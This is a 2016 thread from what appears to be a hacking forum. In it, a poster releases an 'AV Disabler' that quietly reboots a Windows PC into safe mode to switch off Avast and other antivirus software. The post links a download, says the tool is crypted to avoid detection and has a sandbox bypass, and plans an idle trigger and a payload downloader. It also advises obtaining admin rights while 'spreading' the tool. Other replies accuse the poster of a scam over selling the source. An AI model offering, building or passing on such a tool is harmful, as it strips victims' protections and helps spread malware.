Thread: [AV Disabler - Avast Demo \[Release to the public\] \[Download & Test\]](#)

Mr J Smith - June 24, 2016, 12:56 am

Hi ?

I'm giving this out because I want people to report back what happened.

This is coded in AutoHotKey, I'm not sure what it is... C++/C/C#/Vb6...
(Would be nice if someone told me).

I've created a version which just disables Avast, it's crypted with Cyber Seal (surprisingly it works x86, when I crypted it the file defaulted to being native, so it must be no dependencies), this is because I don't want anyone stealing the source code as the average script kiddie could find it and then add all the other processes.

For some reason, the crypted one only works on x86... (I'm not sure if this is because my OS was x86 when I crypted, because I had to create the x64 version on x64 machine... Not sure, cba to test it right now...)

This CAN disable pretty much any antivirus or program (this has only Avast because), it very quickly reboots into safe mode and disables it and then restarts, you don't actually see it go in to safe mode, a black screen appears for a brief few seconds to hide everything :)

In the future, it will only run when the computer has been idle for X seconds (using task scheduler) and it will have a downloader which executes either the x86 or x64 version.

Download: <http://y.zxq.co/cfswki.zip>

Note: This will get detection's as it's using Cyber Seals stub, but Avast doesn't detect it for now, also this has sandbox bypass (waits 20 seconds).

Edit: This might work in Sandboxie... Because of how it works, not sure.

This program is designed to run on x86 because it has been encrypted, the normal version works for both versions.

This should theoretically work on all Windows OS's.

Note: This requires admin because messing with this kind of stuff require higher privellages, getting admin is very easy if you use your brain when spreading or use an 'elevate privellages' function.

comandoz - June 24, 2016, 1:32 am

can you provide with screenshot

Mr J Smith - June 24, 2016, 1:33 am

There's nothing to screenshot, I should make a video but I cba cause
I'm stoned right now lol...

Install Avast on a x86 machine and then run it as admin.

Elli?t - June 24, 2016, 2:21 am

it's run under VBOX ? , i try it it's do restart and black screen but avast still runing : (

Werent you selling this? Why is this closed and you opened this thread:

<https://hackforums.net/showthread.php?tid=5316043>

Didn't you sell this to cyber coder? Also you have a scam report open. Might wanna check that out.

-snip-

Before you released this you should have sent a copy of it to the member that you scammed that
bought this product.

Didn't you sell this to cyber coder? Also you have a scam report open. Might wanna check that out. And ARES is right as well.... I saw this Thread open and closed earlier. Also you had mentioned you sold it to cyber coder.... Wtf is that about?

Mr J Smith - *June 25, 2016, 12:24 pm*

I sold the source code or the idea to Cyber Coder, he said he was going to translate it to another language,

I'm not sure if he's still doing it, we never agreed that I wouldn't continue developing it, I'm not selling it.

Also, I'm returning that BTC to him when I can, I've got debts irl so those are higher priority lol... I wouldn't send him this because it's no where near complete....
